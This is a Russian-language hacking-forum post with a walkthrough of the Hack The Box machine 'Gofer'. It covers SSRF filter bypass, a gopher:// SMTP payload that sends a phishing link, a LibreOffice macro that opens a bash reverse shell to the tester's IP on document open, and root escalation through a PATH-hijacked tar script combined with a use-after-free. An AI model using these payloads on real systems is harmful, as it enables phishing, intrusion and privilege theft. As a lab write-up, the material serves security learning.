• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Эксплуатируем Path Hijacking в связке с Use After Free

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,179
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как искать и эксплуатировать уязвимости use after free и path hijacking для повышения прав в системе. А для начала заюзаем SSRF для отправки фишинговой ссылки с вредоносным макросом, чтобы проникнуть на хост.
А поможет нам в этом тренировочная машина Gofer с площадки Hack The Box. Уровень ее — сложный.


Разведка​

Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.225 gofer.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел несколько открытых портов:
  • 22 — служба OpenSSH 8.4p1;
  • 80 — веб‑сервер Apache 2.4.56;
  • 139 и 445 — служба Samba 4.6.2.
Также мы узнаём, что фильтруется подключение к порту 25, по которому работает служба SMTP.

Первым делом проверим SMB, в отличие от веба этот протокол не потребует много времени для анализа.

enum4linux -a gofer.htb
Результат сканирования службы Samba
В выводе больше всего интересен список общих ресурсов SMB. К некоторым каталогам мы можем получить доступ без использования учетных данных.

Точка входа​

Подключаемся к SMB-ресурсу, где мы находим каталог backup, а в нем сохраненное сообщение.

smbclient //gofer.htb/shares
Содержимое общего ресурса
Скачиваем сообщение и читаем. Там говорится о пользователе, который переходит по всем фишинговым ссылкам, поэтому почта теперь работает только для внутренних пользователей. При этом теперь будут открываться только документы ODT.

Для просмотра ссылки Войди или Зарегистрируйся
Учтем это на будущее и перейдем к сайту.

Главная страница сайта
На самом сайте ничего интересного, кроме списка сотрудников. Поэтому приступаем к сканированию.

Справка: сканирование веба c feroxbuster​

Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки Войди или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске указываем следующие параметры:
  • -u — URL;
  • -w — словарь (я использую словари из набора Для просмотра ссылки Войди или Зарегистрируйся);
  • -t — количество потоков;
  • -d — глубина сканирования.
Задаем нужные параметры и запускаем сканер:

feroxbuster -u http://gofer.htb/ -t 256 -d 1 -w directory_2.3_medium_lowercase.txt
Результат сканирования каталогов с помощью feroxbuster
Новых файлов и каталогов не обнаружили, поэтому переходим к следующему шагу — сканированию поддоменов. Делать это будем с помощью Для просмотра ссылки Войди или Зарегистрируйся. Параметры те же, что у feroxbuster, но добавятся еще два:
  • -H — HTTP-заголовок;
  • -fc — фильтр по коду ответа.
ffuf -u http://gofer.htb -H 'Host:FUZZ.gofer.htb' -w subdomains-bitquark-top100000.txt -fc 400,301
Результат сканирования поддоменов
Добавляем найденный поддомен в файл /etc/hosts и проверяем новый сайт. Там нас встречает HTTP-аутентификация.

10.10.11.225 gofer.htb proxy.gofer.htb
Запрос учетных данных

HTTP auth bypass​

Есть несколько способов обхода неправильно настроенной HTTP-аутентификации. Самый простой и быстрый — смена метода запроса с GET на POST (либо PUT).

GET-запрос в Burp Repeater
В Burp Repeater легко это сделать, достаточно выбрать нужный пункт в контекстном меню.

POST-запрос в Burp Repeater
И при POST-запросе получаем уже другой ответ.

Точка опоры​

В полученном ответе нам сообщают, что в URL не хватает параметра. Можно перебрать параметры по словарю и найти такой ответ сервера, который, возможно, будет отличаться от основной массы. Для перебора я использую Burp Intruder.

Burp Intruder — вкладка Positions
Чтобы в таблице результатов отображался ответ сервера, перейдем к вкладке Settings, выберем опцию Grep → Extract и укажем интересующую нас позицию.

Burp Intruder — вкладка Settings Burp Intruder — результат атаки
Таким образом обнаруживаем параметр url.

SSRF​

Так как мы должны передать URL, можно предположить, что сервис выполнит запрос на него. Для теста запустим веб‑сервер:

python3 -m http.server 80
И укажем на сайте свой адрес. В логах веб‑сервера увидим подключение, а на сайте отобразится листинг каталога веб‑сервера.

Для просмотра ссылки Войди или Зарегистрируйся Результат выполнения запроса
Сразу проверяем наличие уязвимости SSRF, которая позволит обращаться к внутренним ресурсам и сервисам системы. Однако запрос к localhost блокируется, поскольку слово находится в черном списке. Но мы можем найти варианты, которые не будут фильтроваться.

Результат выполнения запроса
Пробуем прочитать файл /etc/passwd через протокол file. В этом случае нам сообщают, что блокируется последовательность file://.

Результат выполнения запроса
Тогда попробуем обратиться, указав не file://, а file:/. И это позволяет нам получить содержимое файла.

Содержимое файла /etc/passwd
Почитав на сервере несколько файлов, ничего ценного не находим. Тогда я решил проверить очень интересный вектор: через SSRF и Gopher. Давай попробуем отправить сообщение тому самому пользователю, который открывает все ссылки. По ссылке будет расположен документ ODT, выполняющий макрос с реверс‑шеллом.

Для этого нам нужно узнать почтовый адрес пользователя и как‑то обойти фильтр, чтобы обращаться к локальному хосту через SSRF. Из письма мы знаем имя пользователя — Jocelyn. Находим его фамилию на сайте и составляем правдоподобный почтовый адрес по тому же шаблону, что и у отправителя. Получается jhudson@gofer.htb.

Список пользователей
Теперь нам нужен адрес, который поможет обойти фильтрацию. Здесь нас выручит Burp Intruder и список для обхода SSRF. Также на вкладе Settings установим опцию Extract.

Burp Intruder — вкладка Positions Burp Intruder — вкладка Settings Результат перебора
По результатам сканирования видим, что можно закодировать адрес 127.0.0.1 в Hex.


Gopher mail​

Через найденную SSRF попробуем отправить сообщение со ссылкой целевому пользователю. Берем следующее сообщение и кодируем все символы \r\n как %0d%0a.

Код:
gopher://0x7f000001:25/xHELO
MAIL FROM:<jdavis@gofer.htb>
RCPT TO:<jhudson@gofer.htb>
DATA
From: <jdavis@gofer.htb>
To: <jhudson@gofer.htb>
Subject: Link
http://10.10.16.23/file.odt
.
QUIT
Исходное сообщение Сообщение, закодированное URL
На локальном хосте запустим веб‑сервер на Python и выполним запрос, где в параметре url будет передаваться сформированная нагрузка.

Результат выполнения запроса
Когда сервер запросит этот URL, пользователю Jocelyn отправится сообщение со ссылкой. Если он перейдет по ней, мы увидим запрос к файлу на нашем веб‑сервере.

Логи веб‑сервера
Вектор оказался верным, теперь сформируем документ с макросом.


Office phishing​

Открываем LibreOffice и в меню выбираем Tools → Macros → Organize Macros → Basic, где находим текущий документ.

Приложение LibreOffice
Окно управления макросами
Создаем новый макрос, который выполнит реверс‑шелл.

Код:
Sub Main
Shell("bash -c 'bash -i >& /dev/tcp/10.10.16.23/4321 0>&1'")
End Sub
Окно изменения макроса
А теперь настроим автозапуск макроса при открытии документа. Для этого в окне управления макросами кликаем по пункту Assign, где переходим на вкладку Event и выбираем событие Open Document. Которому через Macro Selector назначаем созданный макрос.

Настройка автозапуска макроса
Настройка события Open Document
Сохраняем в формате ODT и загружаем на веб‑сервер документ.

Запускаем листенер:

pwncat-cs -lp 4321
Затем повторяем фишинговую атаку и получаем коннект.

Флаг пользователя

Продвижение​

Теперь нам необходимо собрать информацию и прикинуть варианты продвижения. Я, как всегда, буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Мы получили много информации, отберем самое важное.

Привилегия Linux cap_net_admin, выданная tcpdump, позволяет нам использовать эту команду для сниффинга трафика.

Для просмотра ссылки Войди или Зарегистрируйся Linux capabilities
Из файла .htpasswd получаем хеш пароля для пользователя tbuckley.

Содержимое файла /etc/apache2/.htpasswd
Среди исполняемых файлов с выставленным битом SUID есть неизвестный: /usr/local/bin/notes.

Файлы с установленным SUID-битом
Также я всегда проверяю запускаемые процессы с помощью Для просмотра ссылки Войди или Зарегистрируйся. В логах видим запрос к уже знакомому сайту, где передаются учетные данные для HTTP-аутентификации.

Логи pspy64
Видимо, задумка автора машины была в том, чтобы решающий записал трафик и нашел этот запрос в дампе. Но обнаружился и другой путь для получения логина и пароля. С полученными учетными данными авторизуемся в системе.

Флаг пользователя

Локальное повышение привилегий​

Теперь переходим к неизвестному исполняемому файлу с S-битом. При запуске он предоставляет нам выбор нескольких действий.

Результат запуска исполняемого файла
Скопируем этот файл на локальный хост и откроем в любом удобном декомпиляторе. Я использую IDA Pro с Hex-Rays.

scp tbuckley@gofer.htb:/usr/local/bin/notes ./
Я немного преобразовал код, чтобы его было удобнее анализировать. Теперь мы можем разобрать поведение программы при выборе каждого из предложенных вариантов.
  1. В этом варианте с помощью malloc выделяется 40 байт, где первые 24 будут заполнены введенным именем пользователя, а с 24-го байта будет храниться роль пользователя: user или admin (строки 31–50).
  2. Эта ветка кода отвечает за вывод текущих имени пользователя и его роли (строки 51–56).
  3. С помощью free освобождается память, выделенная для имени пользователя.
    Псевдокод функции main
  4. В этом варианте снова выделяется 40 байт, но теперь для сохранения заметки (строки 61–68).
  5. Выводит заметку на экран (строки 69–71).
  6. Пока ни для чего не предназначен.
  7. Освобождает память, выделенную под заметку.
  8. Самый интересный блок кода: если пользователь существует и является администратором, то от имени пользователя root выполнится команда tar.
Псевдокод функции main (продолжение)
Так как путь к исполняемому файлу tar не указан, система последовательно будет искать его по путям, указанным в PATH. А это открывает дорогу к атаке path hijacking. Для этого нам нужно создать свой скрипт с именем tar и добавить в PATH каталог, в котором он будет расположен. Тогда при вызове функции system запустится наш скрипт tar.

Код:
echo '#!/bin/bash' > tar
echo 'chmod u+s /bin/bash' >> tar
chmod 777 tar
export PATH=~:$PATH
Создание скрипта tar

Теперь решим вопрос, как пройти проверку на администратора. Оба варианта освобождения памяти выполнены без ее очистки. И в случае с заметкой (где мы можем записать 39 байт), и в случае с именем пользователя (где мы можем записать 24 байта) выделяется 40 байт. Но дело в том, что если выделить память функцией malloc, а затем освободить с помощью free и снова выделить с помощью malloc блок памяти того же объема, то будет выделена память по одному и тому же адресу! Вот почему важно перед освобождением очищать память с помощью memset, а указателю присваивать значение 0. При удалении пользователя этого не происходит.

Получается, что мы можем создать пользователя, а затем удалить его, чтобы вызвать malloc, затем free, а затем инициализировать переменную input, где хранится имя пользователя.

Создание и удаление пользователя

Теперь при создании заметки будет выделен блок памяти, который только что был освобожден, но на него будет указывать не только переменная ptr, отвечающая за заметку, но и переменная input, отвечающая за пользователя!

Заполняем заметку рандомными 24 символами, после которых записываем строку admin. Тогда переменная input+24 будет содержать роль admin. Теперь при выборе последнего пункта мы пройдем проверку на администратора. Этого можно было бы избежать, если бы переменной input присваивалось значение 0 в ветке 3. Эта уязвимость носит название use after free, так как мы используем указатель на блок памяти после освобождения и перезаписи.

Эксплуатация UAF
В скрипте tar мы назначили S-бит файлу командной оболочки /bin/bash и можем повысить привилегии до рута.

Проверка файла /bin/bash Флаг рута

Машина захвачена!
 
Activity
So far there's no one here